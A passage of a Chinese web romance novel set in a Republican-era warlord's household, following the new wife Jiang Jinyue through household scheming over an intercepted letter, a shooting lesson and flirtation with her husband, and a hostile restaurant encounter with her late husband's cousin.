江浸月走到他面前,实话实说:“我请表小姐好好想想,那个让她拿着信来控告我的人,究竟是什么用心?”
晏山青的手指在桌面那封信上叩了扣:“这么说,你承认这封信是你写的?”
江浸月点头:“是我写的。”
晏山青都没想到她会承认得这么痛快,喜怒难辨道:“刚才不是还言辞凿凿地否认?”
“表小姐有意害我,我总不能站着被她害,为求自保,只能辩解。”说完,江浸月又不动声色地捧他一把,“但在英明睿智的督军面前不敢撒谎。”
虽然是捧他,但也是实话。
她敢肯定,晏山青早就看出她是在狡辩,只是没拆穿她。
就像昨晚在宴会上一样,他会在外人面前护着她,给她面子,因为她是他的督军夫人,夫妻一荣俱荣,一损俱损。
晏山青面无表情:“你不怕我会生气?”
江浸月道:“外人不知道我怎么嫁给督军,督军却是心知肚明,就算没有这封信,督军也知道我心系沈家遗孤。”
晏山青的眼睛微眯,像丛林中的雄狮锁定猎物那般攫紧了她:
“所以,你是真的还放不下沈霁禾?”
“我心系沈家遗孤,”她强调,她心系的,只是“沈家遗孤”。
“是人之常情,毕竟他们都是跟我共同生活过许多年的老弱妇孺,力所能及的范围内,我帮他们,也是帮我自己的良心。”
“督军应该也不会喜欢,自己的妻子,是一个得了大富贵,就抛弃糟糠之亲的人吧?”
晏山青一动不动地看着她,江浸月也一动不动地受他打量。
半晌,他嗤笑一声:“江三小姐不是大家闺秀,学富五车吗?听过糟糠之妻,没听过糟糠之亲的。”
自从成婚后,他对她的称呼,都是似真心似假意的“夫人”,第一次喊她三小姐。
江浸月谦逊:“那请督军赐教,应该怎么用词才对?”
晏山青似笑非笑:“亲如一家,情同骨肉。”
江浸月点了点头:“多谢督军,受教了。”
晏山青哼笑一声,江浸月不动声色地吐气,看来他是不追究她对沈家人的关照了。
晏山青拿起那封信:“所以,你说的那个拿陈佑宁当枪使的人,是谁?”
江浸月顿了顿,道:“督军心知肚明。”
晏山青突然伸手,捏住了她的下巴:“你知道自己在说什么吗?你知道她在晏家的地位吗?”
江浸月垂下眼,不直视他:“我知道,但一直以来,不都是她先针对我的吗?”
“从新婚夜故意掉进池塘叫走督军,再到全城散播我们未圆房之事令我难堪,再到这次请表小姐上门在母亲面前告我的状,我不犯人,人却犯我。”
“我知道她是怨我抢走了她督军夫人的位置,但——”
晏山青将她的下巴抬高,迫使她即便垂着眼,也要看着他说话:“但是什么?说下去。”
江浸月的嘴角一弯,露出几分狡黠:
“但她比我早到督军身边这么多年,督军都没有娶她过门,说明,要么就是督军不够喜欢她,要么就是她的本事不够,这都是她自己的原因,凭什么针对我?”
她平时挺端庄的,很有一个督军夫人的清贵自持,突然间这么笑,令晏山青也是一怔。
第22章 把你的秘密都说出去!
晏山青放开她的下巴,手臂搁在圈椅扶手上,有意无意地摩挲着手指。
“你还挺敢说。”
江浸月清丽动人:“我跟督军是夫妻,夫妻之间应该坦诚相待,督军说对吗?”
晏山青莫名觉得,这个女人,今天很……不一样。
他错开眼睛,冷声警告:“我跟她的事,你不要自作聪明。”
江浸月点点头:“我明白。”
晏山青又看她:“你明白什么?”
江浸月答:“明白她在督军心里比我重要。”
晏山青意味不明道:“夫人何必妄自菲薄,你是我明媒正娶回来的妻子,你还是很有用的。”
江浸月心里笑,好一个“很有用”。
晏山青从椅子上站起,高大的身躯令江浸月不由自主地后退半步,仰起头看着他:“督军?”
“处理完你的事,下午带你去军中靶场练枪。”说完他迈步就走。
江浸月这才想起,这是他给她的“奖励”,她在他身后道:“谢谢督军。”
晏山青走后,江浸月回头看向辛儿。
辛儿磕磕巴巴地喊:“夫、夫人……”
江浸月只说:“跟我回垆雪院,我有话问你。”
回到垆雪院,明婶立刻迎上来,焦急地喊:“夫人!”
应该是知道今天寿松堂发生的事,担心她。
江浸月对她和颜悦色,表示没事。
然后在廊下的栏杆坐下,面对辛儿:“说吧,信怎么会落到陈佑宁手里?你是她们安插在我身边的眼线?”
辛儿扑通一下跪到她的面前:“夫人!辛儿不敢,辛儿真的不敢!”
她也不敢隐瞒,一五一十说,“昨天晚上,我带着您给我的信出门,快到江家的时候,被表小姐和她的人拦了下来。”
“他们人多势众,抢走了信,但没过多久她又把信还给我,命令我不准把这件事说出去,否则就要将我全家赶出南川,我以为她只是好奇信里写了什么,反正已经把信还回来,没什么事,我就、就听他们的,没把这件事告诉您……”
她哭了起来,“夫人,我不知道表小姐还给我的信是她抄写的,原件已经被她拿走,我以后一定会小心谨慎,无论出什么事都会告诉您,您原谅我这一次吧!”
来龙去脉跟江浸月猜得差不多:“知道了,起来吧。”
辛儿泪眼朦胧地望着她:“夫人,您原谅我了?”
江浸月点头:“以后做事小心一点。去帮我准备下午要出门的衣服吧。”
辛儿感激涕零:“谢谢夫人!谢谢夫人!”
她起身擦干眼泪,然后跑进屋内。
明婶低声说:“夫人,您以后有什么要紧的事还是交给我去办吧,辛儿到底不是自幼跟着您的人,对您没那么用心。”
江浸月抬头对她一笑:“那封信,本就是我故意让辛儿去送去江家的。”
“故意?”明婶一愣,不明白她的意思。
“是,我早就猜到信会落进宋知渝手里。”
明婶惊讶:“这怎么能猜到的?”
江浸月道:“宋知渝能知道我跟晏山青至今还没有圆房,说明一直在暗中监视垆雪院,我大半夜让辛儿出门送信,非同寻常,她必定会拦下一看究竟;信的内容我也是故意写的,为的就是让她觉得抓住了我的把柄,到晏山青和老夫人面前发作。”
唯一出乎意外的就是,宋知渝竟然没有亲自出面,而是找了陈佑宁当枪使。
不过由此可见,陈佑宁跟她的关系不错。
明婶无法理解:“您为什么要这么做呢?”
她今天差点就被老夫人打发到乡下庄子。
江浸月伸手“接住”阳光,白皙的手指被照得近乎透明,她慢声说:
“两个原因。一是试一下她有多着急赶走我。”
现在看,确实很急。
可以说是一天都等不了,一有机会就迫不及待收拾她。
明婶又问:“那二呢?”
江浸月眉目清冷:“二就是让晏山青知道,他的后院里,有人容不下我。”
明婶总算明白了:“夫人这招好!既叫督军知道,宋小姐一直在暗中监视您,也叫督军知道,宋小姐根本不像表面那般纯善,会借刀杀人!”
……
“宋知渝你给我出来!”
琼华苑,陈佑宁气势汹汹闯进门。
宋知渝从里间走出来,满脸笑容,亲亲热热地挽住她的手臂:“阿宁,你来了,我刚用椰子炖了鸡汤,特别好喝,你也试试……”
“少给我来这套!”
陈佑宁甩开她的手,厉声质问,“我问你,你昨晚为什么要派人去告诉我,江浸月偷偷写信回江家,一定有不可告人的秘密,让我替换信件?!”
宋知渝将茫然和愣怔演得入木三分:“因为我怀疑她有不可告人的秘密呀,但我在督军府没有人手,没办法抓住她,所以只能请你帮忙。”
陈佑宁再问:“那我拿到了信,你又为什么不亲自拿去给表哥和姨母看,而是要我去?!”
宋知渝微微蹙眉:“阿宁,是不是有人跟你说了什么?”
陈佑宁憋着一肚子火:“你回答我的话!”
宋知渝一副被她误会了的委屈,咬着唇道:“那你仔细回想早上的情况。”
“早上你把信拿给我看了之后,我只说了一句,‘看来夫人心里还放不下沈霁禾,这将督军置于何地,传出去叫督军情何以堪’,结果你听完就抢走了信,义愤填膺地说你一定要把江浸月赶出督军府,然后就跑去找老夫人,我根本来不及拦住你啊。”
“……”
好像是这样没错。
所以是她自己太着急?
陈佑宁一时间也判断不出,到底是江浸月有问题,还是宋知渝有问题?
她到底是被谁利用了?
宋知渝又一次挽上她的手,轻声细语道:“阿宁,我们认识这么多年,我是什么样的人,你还不知道吗?”
陈佑宁看着她那张纯善的脸,虽然她解释得有理有据,但她还是觉得哪里不对劲?
宋知渝试着问:“是江浸月跟你说了什么吗?”
陈佑宁没说话。
宋知渝意有所指道:“你现在知道江浸月的厉害了吧?她要是没点蛊惑人的本事,怎么能让督军娶她进门呢?”
她的内涵就是,她被江浸月蛊惑了。
陈佑宁站起来,瞪着宋知渝,冷冷警告:“你要是敢耍我,我就把你那些秘密都说出去!你看表哥和姨母还会不会留着你!”
她推开宋知渝就走。
宋知渝看着垆雪院的方向,微微咬住了后槽牙。
突然!
晏山青的声音凭空响起:“一脸气愤地看着垆雪院的方向,夫人惹你了?”
!宋知渝吓了一跳,猛地回头——
就看到晏山青从走廊的那头走过来。
第23章 她是不是故意勾引他?
宋知渝眼底掠过一抹慌乱,怕的是他听见陈佑宁那句话……但看样子应该没有。
她迅速调整好神情,露出一个微笑:“没有啊,在想事情而已。青哥,您来看我吗?”
晏山青似笑非笑,说出来的话也像是调情:“我来看你,不是最平常的事情吗?”
宋知渝面露羞色,上前挽着他的手臂,跟他一起进门:“夫人刚刚过门,青哥应该多陪陪夫人。”
晏山青随意地在椅子上坐下,宋知渝倒了杯茶,双手送到他面前。
晏山青接了,但没喝,放下:“我陪没陪她,你不是最知道的吗。”
宋知渝愣了愣:“青哥,您这话是什么意思?”
晏山青看着她,目光变得没什么温度:“晏家养你十年,是让你安分守己,不是让你兴风作浪。”
宋知渝的脸色微微发白:“青哥,我没有……”
“你最好是真的没有。这是第一次,也是最后一次。”
说完,晏山就的大步迈出门槛,头也不回地走了。
“……”
宋知渝突然觉得双腿有些发软,踉跄着跌坐在椅子上。
他是、是特意来警告她的?
为了江浸月来警告她?
不!
江浸月对他没那么重要。
他应该是不喜欢后宅争斗影响到他。
宋知渝咬住下唇,她这次是有些操之过急了,但,这能怪她吗?
她在晏家快十年了,而晏山青娶江浸月,却只用不到半个小时就定下,这叫她怎么能甘心?
她的贴身丫鬟走进来:“姑娘,您怎么了?”
宋知渝有些恍惚地问:“你觉得,是我生得漂亮,还是夫人生得漂亮?”
丫鬟赶忙说:“自然是您生得更漂亮!那个江浸月就是个二嫁的货色,哪里比得上您?您可是老夫人的心尖宠,督军对您也是独一份儿的好!”
宋知渝惨淡地笑了一笑:“就会骗我。江浸月比我漂亮多了,她那张脸,别说督军看了会喜欢,我看了都恨没生在我身上。”
虽然这是实话,但丫鬟还是说:“姑娘拿自己跟她比,就是跌了自己身份。”
宋知渝扯了扯嘴角,神情黯淡:“我又有什么身份呢?”
……
晏山青出了琼华苑,径直去了垆雪院。
刚好听见屋内传出江浸月的声音:“明婶,你觉得我穿身上这套好看,还是穿那套好看?”
“哎哟喂,您还是换了另一套吧,这套穿着不合适。”
江浸月问:“哪儿不合适?”
“不端庄!”
“有多不端庄?”晏山青跨入门槛,江浸月闻声转头。
晏山青打眼看去,就见她身上穿了一套新式的骑马装。
白色的衬衫,领子系了一个蝴蝶结,外套一件红丝绒马甲,衬得她肤白如雪,三颗纽扣更是将她纤细腰身束了出来。
往下则是一条红色的骑马裤,小腿收紧,配一双军靴,很是利落洒脱。
看惯了江浸月穿旗袍温婉多情的模样,还是第一次见她做这种新式女子打扮。
“这不是挺好看的吗?”他问的是明婶。
明婶还是第一次跟晏山青说话,只觉得他一进来,就像一座山似的,压得人不敢抬头:“没、没有,就是觉得另一套更好看……”
这晏督军这般高大,她家姑娘细皮嫩肉的,哪里受得住啊……明婶此刻竟然有些庆幸她家姑娘跟他还没圆房,否则得受苦头了……
江浸月也不习惯在他面前穿成这样:“我也觉得不好看,我去换另一套吧。”
她转身要走进里间,刚迈出一步,男人长臂一伸,箍住她的细腰,直接将她揽了过来。
“不用麻烦,就这套。”晏山青带着她往外走。
江浸月被他半揽半提着出门,一路上,丫鬟仆从纷纷回头,她感觉万分不自在:
“……督军,我自己能走。”
晏山青挑眉,放开她。
江浸月脚下踉跄,差点摔倒,连忙稳住脚步。
一起出了督军府,军车已经备好,两人都上了后座。
江浸月没话找话:“督军,我们现在去军中靶场吗?”
晏山青只是“嗯”了一声。
江浸月也就没再说话,车子没开多久,便到了晏家军一处训练场。
晏山青下了车,很快就有个军官跑过来:“督军,您怎么来了?”
“没什么,做你的事去吧。”晏山青把人打发走。
军官连忙应“是”,无意间转头,看到站在车的另一边的江浸月,目光惊艳。
晏山青:“看什么?”
军官连忙低头,飞快跑走。
晏山青对江浸月招了招手,江浸月走到他身边,他带她去了靶场。
“五十米靶,打得中十环吗?”
江浸月说:“不知道,我试试。”
晏山青拔出自己的枪,上膛后递给她。
江浸月举起手,瞄准了那个靶子。
还没扣下扳机,后背就贴上一个结实又温热的胸膛。
江浸月神经一紧。
……她还是不习惯跟晏山青亲密接触。
但想到沈家的处境,她还是强迫自己定下心,故作若无其事。
晏山青直接握住她的手,为她调整姿势:“这把枪后坐力强,要这么握才不会震伤自己的手。行了,扣下扳机。”
江浸月抿唇,扣下扳机,只听见“砰!”的一声,子弹击穿五十米外的靶心。
晏山青笑了:“夫人这么厉害,还要我教什么?”
江浸月谦虚:“是督军帮我调整了准头,我才打得中。”
晏山青让到一边,点了支烟:“行,这次我不帮你,你再试着打一枪。”
江浸月便重新举起手枪,闭上一只眼,瞄准远处的靶心。
脑海中不知怎的,突然闪过沈霁禾教她开枪时说的话——
“皎皎,打枪时,你的眼里和心里都只能有你的目标,不能走神想别的,否则就打不准。”
“砰!”
子弹脱靶。
晏山青唇间吐出一缕烟雾:“这才是你的真实水平?”
江浸月细细感受着手臂的余震,垂下眼睛:“我跟督军说过,我的枪法不好的,所以才要督军教。”
晏山青又一次走到她身后,将烟换到左手垂下,右手大掌包住她的双手:“闭上一只眼。”
离得太近,男人身上淡淡的薄荷烟草味侵入她鼻腔,江浸月的睫毛颤了一下。
“开枪。”耳边传来男人的命令声。
江浸月下意识扣动扳机。
“砰!”
子弹上靶,但未中十环。
男人的笑声很低:“我信你第一枪只是意外。”
江浸月咬唇:“我能学好的,督军再教教我。”
晏山青低声调侃:“夫人这枪法,是想让我教到天黑?”
江浸月轻轻的:“有劳督军了。”
晏山青哼笑,还握着她的手,弯下腰,跟她一起看着靶心:“手要稳,不要抖。”
江浸月问:“……是这样吗?督军。”
她耳边的碎发被风吹着蹭过晏山青的脖子,有些痒。
晏山青皱了皱眉,下意识去看她,同一时,江浸月转过脸,两人不偏不倚地撞上,江浸月的唇擦过他的下巴。
温软微湿,两人都是一愣。
硝烟味混着青草香,远处传来士兵操练的号子声,这个对视被无形拉长。
江浸月启唇,又问了一遍:“督军,我这样做,对吗?”
“……”
晏山青舌尖顶了顶腮帮。
他早上就觉得这个女人今天好像有哪里不对?
是不是在,故意勾引他呢?
第24章 餐桌下的撩拨
晏山青不是不懂风月的人。
他相信江浸月也不是。
又是对他温温软软地笑,又是故意让他教她打枪制造肢体接触,挑逗的不就是男女之间那点事儿。
但他有点没懂,她这么做的目的是什么?
不过转念一想就明白了,能有什么目的,无非就是想巩固自己的地位,让“督军夫人”的身份有名有实。
那晏山青自己又是怎么想的呢?
人是他主动娶回来的,他又想不想跟她有名有实?
“我再教你一次。”
晏山青眼睛里的情绪意味不明,吸入一口烟,而后将烟头丢在地上,穿着军靴的脚将那点火光碾灭。
他直接搂住江浸月的腰,将她整个人都扣向自己!
他刚才教她开枪的时候,也贴近她的背,但没到毫无缝隙的程度,此刻他几乎是将江浸月“含进”自己的身体里。
另一只手,则像大铁钳,单手就钳住她持枪的两只手的手腕。
江浸月屏住呼吸,那种被抵着、顶着、禁锢着、控制着、胁迫着的感觉非常强烈。
她的后腰能清楚地感觉到男人皮带很坚硬,她甚至会幻视抵着她的东西是他的……
晏山青开口说话,话语伴随着烟雾一起吐出:“瞄准点,我这个老师很没耐心,这次还打不中,我会罚你的。”
薄薄的烟雾萦绕在她的鼻间,一丝一缕地潜入她的身体,江浸月有一种从内到外都是他的感觉。
她有些腿软。
晏山青还看到她睫毛一直颤。
忍不住在心里嘲笑她,有贼心没贼胆。
想跟他亲近,但他真跟她“亲”了,她又畏畏缩缩。
不过也可能就是还过不了心里那一关,理智告诉她,应该跟他“亲”,才能坐稳督军夫人的位置;但情感上却还不能接受他。
也是。
南川人骂她跟他奸夫淫妇合谋害死沈霁禾,这些又不是真的,她心里不知道有多爱她那个亡夫。
晏山青好一会儿没说话,江浸月下意识侧头去看他,怎么了?
晏山青才说:“开枪。”
江浸月瞄准那个红点,扣下扳机,砰!的一声。
打穿了。
晏山青放开她的腰和手:“不错,还算有天赋。”
江浸月立马说:“那督军再教教我?”
晏山青没答应:“再练下去,你从明天起,至少三天手动不了。”
他这枪后坐力强,她开着三枪,有两枪他都抓着她的手替她扛了一部分力量,但也够她受的。
“下次再学吧,我敏而好学的夫人。”
江浸月只能将他的枪递还给他,又问:“那我们接下来干什么?”
“我们接下来?”晏山青看了看她,“你不回督军府?还想继续跟我待在一起?”
好不容易有跟他独处的机会,江浸月态度积极:“如果督军不忙的话。”
晏山青垂下眼,日光下,她仰着脸望着他,一双漂亮的眼睛清澈又期待。
但看久了,还是能看出底层的刻意,她就是在刻意亲近他。
晏山青忽然来了点儿兴致,倒要看看她能豁出去到哪一步?
“忙是忙的,不过带你吃顿饭的时间还是有的——军营里的伙食比较粗糙,你吃得惯吗?”
江浸月弯唇:“当然吃得惯。督军以为我每天都是满汉全席、鲍参翅肚吗?”
晏山青似笑非笑的,率先转身朝食堂走去。
江浸月立刻跟上,与他维持着半步的距离。
军营里路面不算平整,她穿的马靴有高跟,走得不太稳,犹豫了一下,伸手,轻轻拉住晏山青的衣袖,晏山青的脚步也慢了下来。
军营食堂不分士兵与军官,无论什么品级,都在一起吃,吃的也都一样。
晏山青带着江浸月进去,一下就吸引了不少士兵的注意,好几个军官差点噎住,纷纷起身:“督军!”
晏山青随意一摆手:“吃你们的。”
然后就领着江浸月到靠窗的一张空桌坐下。
很快就有勤务兵端来饭菜,十分简单的两荤两素,一大碗汤,两碗米饭。
晏山青拿起筷子,看了她一眼:“要是吃不惯,下午饿了自己开小灶。”
江浸月拿起属于自己的那双筷子,语气温软:“督军吃得惯,我自然也吃得惯。”
说完就夹了一筷子清炒豆苗,尝了尝,点头,“火候正好,很清爽。”
晏山青没说什么,低头吃饭,他吃相不差,但速度很快,属于行军养成的习惯。
江浸月吃得慢,眼神偶尔掠过他。
看他握着筷子的手,骨节分明,蕴含力量;看他滚动吞咽的喉结,凸起锋利;看他低垂时显得格外浓密的睫毛,眉眼很俊。
她心下计量着,该如何自然而然地更进一步?
机会来得很快——晏山青要盛汤,汤碗在她手边,她从善如流地接过来:“我来。”
她伸手去拿他的碗,指尖“无意间”地擦过他的手背,触感像羽毛搔过,轻轻柔柔。
晏山青动作顿了一下,抬眼看她。
江浸月一派心无旁骛,端着碗,给他盛了半碗冬瓜肉糜汤,语气如常:“我们南川人喜欢喝各种瓜汤,督军也尝尝。”
仿佛刚才那一下触碰,真的只是意外。
晏山青莫名一笑,没说什么,接过碗,低头喝汤。
江浸月也继续吃饭,暗中瞥了他好几眼,怎么没有反应呢……
难道是她“撩”的幅度太小,他没有感觉?
江浸月以前也没做过这种事,没有参考经验,想了想,动作更大胆了点。
餐桌下的空间逼仄。江浸月的心跳微微加快,她悄悄吸了口气,借着调整坐姿,穿着马靴的脚,轻轻往前探了一点。
靴尖,若有似无地,碰上了他锃亮的军靴。
第一次,一触即收。
晏山青正在夹菜,筷子尖在盘沿极轻地磕了一下,但目光未动,仿佛毫无察觉。
江浸月等了几秒,心如擂鼓,再一次,状若无意地将脚伸过去,这一次,靴尖轻轻抵着他的靴侧,停留了两秒。
她能感觉到皮革坚硬的质感,以及皮革下,他脚踝的轮廓。
晏山青终于放下了筷子。
他抬起眼,目光沉甸甸地落在江浸月的脸上。
食堂的嘈杂似乎在这一刻远去,阳光透过窗户,照见空气中微尘浮动,也照见她脸颊边细微的、几乎看不见的绒毛,和那强作镇定,但已经通红了的耳根。
江浸月眼睫闪烁:“督军怎么不吃了?”
“这话不是应该我问夫人吗?”晏山青目光往桌子下一扫,“吃饭就好好吃饭,脚这么不老实,蹭了几次了,是想让我再教你点别的?”
江浸月的脸颊“轰”的一下烧起来!
她没想到这人会直接戳破啊,她尴尬至极,立刻就想把脚收回来,然而晏山青却突然并住双脚,两只军靴直接将她的马靴夹住!
军靴自带雷霆万钧的气势,将她那只脚衬得无比娇小,隔着硬质的皮革,江浸月都能感觉到他双脚的力量感。
“玩够了就想跑,”晏山青姿态闲散,看起来根本没有用力,“天下哪有这么便宜的事?”
第25章 你是不是早就觊觎她了
“…………”
江浸月浑身僵硬,想撤回脚,可被他夹住,动弹不得。
她只觉得那只脚在他的领域里已经“烧”起来了,那股热意甚至顺着小腿一路蔓延向上,她全身的鸡皮疙瘩都冒出来。
“督军……我是不小心的。”
晏山青:“你觉得我会信?”
江浸月耳根通红,低着头求饶:“督军,我真的是不小心的……您别跟我计较……他们都看着……”
她感觉得到那些士兵和军官的目光,都若有若无地朝他们这一桌瞄过来,桌子没有桌布遮挡,他们桌下的一举一动都能被看见。
要是被人发现他们在大庭广众下挨挨蹭蹭,那也太……羞耻了。
江浸月后悔了,不该在这里故意撩拨他的。
晏山青看她这副彻底破功、羞窘交加的模样,心情莫名大好。
她这副样子,就是要比那副端庄从容、故作镇定的模样顺眼。
欣赏够了江三小姐难得一见的惊慌失措后,晏山青才慢悠悠地松开双脚,继续喝她给他盛的那碗汤,随意地评价:
“还不错。”
江浸月迅速把脚缩回,紧紧并拢,心跳久久不能平复,脸颊上的热度也迟迟不退。
她低下头,胡乱地扒拉着碗里的米饭,再不敢有任何小动作。
她十分确定,自己那些故意勾引的伎俩被他看穿了,所以他反将一军,将她逼到窘境,故意看她慌乱!
接下来的时间,两个人都没有说话,但空气里始终残留着一丝若有似无的暧昧……
直到吃完饭,两人走出食堂。
“让司机送你回去。”晏山青停下脚步,对副官吩咐了一句,然后又看向江浸月,语气听不出情绪,“我还有事。”
经过刚才那一出,江浸月一时也摸不准他此刻的态度,不敢再缠着他不放,只好顺从点头:“好。”
晏山青站在原地,看着她上车,直到车子驶出军营大门,他才收回目光,想着她刚才那些拙劣的小把戏,哼笑一下。
他上楼议事前,先到水槽前洗手,突然听见身旁的厕所里传来几道说话声。
“原来那个就是大名鼎鼎的江三小姐啊?以前在东湖就听说南川的沈霁禾有个天仙似的老婆,一直好奇长什么样,确实漂亮。”
“她不漂亮,督军拿下南川后做的第一件事会是娶她过门吗?你们看她那胸、那腰、那身材,不夜城的歌星都没她这么妖的。”
“但要换作是我,这种被别的男人干了三年的货色,纳回家当小妾就够了,督军夫人?她也配。”
晏山青眉目不动,从口袋里抽了条帕子擦手。
他这人,行军的时候不讲究,什么都能凑合,十足十就是个兵痞子,但日常的时候也挺爱干净的。
他擦着手,走到厕所的门口。
很快,那三个说话的男人就走出来,还嘻嘻哈哈的,结果刚迈出来一步,一条强劲有力的腿就狠狠踹过来,正中第一个人的胸口!
那人整个飞了出去,重重摔在地上,捂着胸口吐了一口血!
另外两个人错愕,猛地转头!
还以为是谁敢在军营袭击他们,结果看到是晏山青,脸色骤变:“督、督军……”
话都没说完,晏山青一人一脚踹过去,三个人都砸在地上。
晏山青面无表情地朝他们走过去。
三个人不敢跑,当然,也跑不了。
他那一脚又重又狠,把他们都踹出了内伤。
等苏拾卷听到消息从楼上跑下来,看到的就是晏山青正在爆踹那三个人,其中一个看服饰还是个官儿,但这会儿都满脸是血了。
他立刻过去:“山青,怎么了?”
晏山青看地上那三个人都要断气了,这才收回脚,去看苏拾卷,眉眼与声音里都是冷戾:“管好你的部下,再有下一次,我割了他们舌头!”
苏拾卷大概猜到这几个小王八羔子应该是背后说晏山青什么话被他听见了,他马上说:“我处置他们,你别动气。”
晏山青转头去了他的办公室。
苏拾卷喊人把这三个抬到西医院,顺便问了一个还能说话的,他们刚才说了谁?
那人哪敢隐瞒啊,提了江浸月的名字。
苏拾卷明白来龙去脉了,也去了办公室。
晏山青坐在沙发上抽烟,如一头暴怒的雄狮。
苏拾卷走过去将窗户打开,没提刚才的冲突,直接说起正事。
正事一谈就是一个下午,晏山青的火气也渐渐被抚平。
日落西山时,公务议完,苏拾卷倒了杯茶润喉,晏山青又点了根烟醒神。
苏拾卷随口说起别的事儿:“自从我们进南川,沈家就龟缩在府里不出来,也没有人敢去拜访,其实私底下都在关注。今天李明去铁路局接管公务,就差点着了道。”
晏山青吐出一口烟,眼皮都没抬:“怎么说?”
“郑家那老狐狸,自己不出面,派了他那个在女中读书、号称‘南川才女’的孙女去送文件。”
苏拾卷笑一声,“一杯咖啡,正正好不小心泼在李明的公文上,又是道歉又是拿手绢擦,娇声软语地套近乎,三绕两绕,就问起李明我们对沈家到底是什么态度?”
晏山青哂笑:“我对沈家的态度就是,他们安安分分,我不介意花几个钱养着,给他们养老送终。”
“但要是还认不清处境,敢在背地里搞小动作,我就给他们办一场风风光光的葬礼,送他们去跟沈霁禾团聚。”
苏拾卷冷不丁一句:“那你对弟妹,又是个什么态度呢?”
晏山青都没想到他话题变这么快,顿了一下,问:“什么?”
苏拾卷身体前倾:“说实话,咱们当初想兵不血刃拿下南川,除了娶她,其实还有别的法子,可你偏偏选了个最叫人看不懂的。”
“要不是我跟你十几年交情,深知你的为人,我都要跟外面那些人一样以为,你是不是早就觊觎沈霁禾这位夫人,这才打着入主南川的幌子,行强取豪夺之实。”
“……”晏山青掸掉烟灰,没说话。
苏拾卷继续揣测:“所以,你对她到底什么意思?说你有点喜欢吧,你又晾着人家,到现在都没圆房,弄得满城风雨;说你不喜欢吧,刚才为几句闲话就能下死手,宴会上也是处处维护。”
晏山青不耐烦地骂了一句:“你闲着没事干,关心起老子的私事了?”
苏拾卷承认自己是好事之徒:“兄弟我确实好奇,你跟我说说呗。”
第26章 来人!拉出去枪毙了!
晏山青轻轻吐出一口烟雾,想起的却是他踏进南川城的那天。
那是个阴天,灰青色的色调,让天地间的景物都有萧瑟悲壮的感觉。
他骑在马上,立在紧闭的南川城门前,身后是几万晏家军,个个身穿军装,身负长枪,一派肃杀。
风卷着细沙从马蹄边打着转儿吹过,马儿等得有些不耐烦了,鼻腔里发出噗噗的声音。
终于。
城门在他眼前缓缓打开,他在马上倨傲地抬起眼,就看到那个身形薄弱的女子,身穿白衣,披麻戴孝,一个人站在门里。
她看起来好脆弱,脸色苍白,似乎这阵风再大一点,就能将她折断。
但眼神却是清冷而决绝的,毫不后悔走上这条会背负天下骂名的路。
她说:“恭迎晏督军,入主南川。”
然后转身,走在他的马前,为他带路。
而他就骑着马,慢慢地跟上她,眼睛没有从她身上挪开。
后来风大了一点儿,将她鬓边的白花吹向了他,他当时还有趣地想——女要俏,一身孝。
晏山青弹掉烟灰,轻描淡写地说:“少管老子的私事,你那么好奇女人,自己怎么不娶一个?”
“我?”
苏拾卷笑了笑,“我就算了,暂时还没有这方面念头。”
晏山青掀了一下眼皮:“怎么?还对你爹的小妾念念不忘。”
苏拾卷觉得自己是遭现实报了,就不该多嘴去问他的事。
他抓起外套:“走走走,吃晚饭。”
……
江浸月从军营离开后,也没有立刻回督军府。
难得出门一趟,她让司机送她去书店,挑了几本书,否则成日在府里实在无聊,又去了卖各种稀奇古怪玩意儿的长街逛了逛,买了一套五子棋。
这一逛就是一下午,瞧着快天黑了,又让司机送她去一家从前常去的餐厅吃饭。
司机不由得道:“夫人出来够久了,这晚饭还是回府里吃吧,督军没说过您可以在外面这么久……”
江浸月淡淡地说:“我是督军夫人,不是督军囚犯,难道我连在外面吃顿饭都没有资格?要不我带你到督军面前问一问,我有没有资格?”
司机忙不迭道:“不敢不敢,夫人说的那家餐厅在哪里?”
人就是这样的,你好说话,人家不会尊敬你,反而想拿捏你——哪怕你的身份在他之上。
到了地方,江浸月给了司机几个银圆,让他自己找地方吃饭,然后就走进餐厅,找了个角落的位置坐下,伙计立刻过来招待。
“小姐要吃点什么呢?”
“一道冬瓜老鸭汤,再配两个小菜。”
伙计原本满脸笑容,正要点头应是,然而看清她的长相,认出她是谁之后,笑意就僵了,转头叫来了老板低语几句。
接着,老板就皮笑肉不笑地走到江浸月面前:“不好意思啊夫人,我们这儿鸭子用完了,没有老鸭汤了。”
江浸月心下有些遗憾,她今天突然很想吃这道老鸭汤,特意绕了一条街过来,结果没有了。
但来都来了,也要填饱肚子,江浸月又说:“那就随便给我来几样吧。”
然而老板还是一句:“其他的也没有了,我们的菜就是到您这儿刚好用完了,您还是去别的地方吃吧。”
江浸月看着他嫌恶的样子,明白了:“不是菜用完了,而是你不想做我的生意,对吗?”
老板滑不溜秋的:“哪能啊,咱开门做生意,来者都是客,只是今天您来得确实不凑巧,下回再招待您。”
江浸月知道南川人恨她入骨,否则她大婚那日,他们也做不出拦婚车的事。
婚车那次她忍让了,但今天,她并不想再忍——她以后都要在这南川城里生活,不可能永远受排挤下去。
“既然不是不想卖我,那就给我做几道菜,随便什么都可以,总之我今天就要在你这吃。或者你给我一个你开门待客,但不接待我的理由。”
老板表情有些难看,说到底他也不敢明着针对江浸月,毕竟她还有个督军夫人的身份,可又实在不想招待她。
两厢僵持不下。
江浸月自顾自倒了一杯茶,刚要送到口中,突然不知从哪里冲出来一个人,夺过她的茶杯狠狠砸在地上!
“砰!”的一声,瓷片爆炸,还伴随着男人尖锐的怒喝:
“理由就是嫌你这个荡妇弄脏人家的餐厅!也影响其他食客的胃口!听懂了吗?还不快滚!”
江浸月抬起头一看,居然是——沈鹤。
沈霁禾的堂弟,今年才十七岁。
以前他们都住在沈家,他对她这个长嫂非常尊敬,有事没事就拿着作业本,大嫂教我这个,大嫂教我那个,是个阳光上进的好青年。
但她离开沈家那天,也是他,把她的行李都丢到大路上踩碎,一口一个贱人诅咒她死。
江浸月不动声色地说:“沈鹤,你已经不是小孩子了,做事再这么莽撞,早晚有一天会吃大亏的。重新给我倒杯茶。”
沈鹤听她还敢用以前的说教语气,冷笑一声:“我呸!你以为你还是我大嫂?我大哥真是瞎了眼,娶了你这么个老婆,把自己给害死了,我告诉你江浸月,你是会遭报应的!”
本来饭点餐厅里的人就多,他还大闹特闹,直接将人都吸引过来。
江浸月瞥见围观的人群里有那个司机,他看了几眼后,就匆匆跑开去前台借电话,应该是要打给谁?
江浸月沉声警告:“我劝你最好马上给我倒茶认错,否则这件事就很难收场了。”
沈鹤从前在家里就是一个被惯坏的小少爷,哪怕家里出了这么大的变故,他也不知道成长。
